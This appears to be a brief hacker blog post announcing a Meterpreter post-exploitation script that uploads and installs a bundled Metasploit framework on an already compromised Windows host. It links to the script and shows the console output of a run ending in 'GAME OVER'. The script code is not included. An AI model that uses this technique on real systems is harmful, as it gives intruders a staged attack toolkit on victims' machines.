Well, sorta…

I created a meterpreter script that takes the cygwin bundled version of Metasploit inside of a NullSoft installer that HD Moore created and deploys it using meterpreter to the compromised host, extracts/installs it, and runs the shell. Now I left this intentionally open so that you could package your own cygwin bundle (possibly with nmap and netcat), for your own evil fun.

Thanks defintely go to Carlos Perez (Dark0perator) and HD Moore for their help getting this bad boy working right.

You can download the script here: https://github.com/mubix/stuff/blob/master/metasploit/deploymsf.rb

You can download the cygwin installs from the metasploit website:

And here is what it looks like:

meterpreter > run deploymsf -f framework-3.3-dev.exe  
[*] Running Meterpreter MSFp Deploytment Script.....  
[*] Uploading MSFp for for deployment....  
[*] MSFp uploaded as C:DOCUME~1mubixLOCALS~1Temp12681.exe  
[*] Installing MSFp...........  
[*] Done!  
[*] Installation Complete!  
[*] Running cygwin shell channelized...  
[*] Channel 18 created - Type: interact 18 to play  
[*] Be warned, it takes a bit for post setup to happen  
[*] and you will not see a prompt, try pwd to check  
meterpreter > interact 18  
Interacting with channel 18...  
  
[*] Configuring multi-user permissions for first run...  
[*] Configuring the initial user environment...  
pwd  
/home/mubix  
ls  
msfconsole  
*** Metasploit only has EXPERIMENTAL support for Ruby 1.9.1 and newer, things may break!  
*** Please report bugs to msfdev[at]metasploit.com  
[-] ***  
[-] * WARNING: No database support: LoadError no such file to load -- active_record  
[-] ***  
  
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=[ msf v3.3-dev  
+ -- --=[ 379 exploits - 231 payloads  
+ -- --=[ 20 encoders - 7 nops  
=[ 156 aux  
  
msf >GAME OVER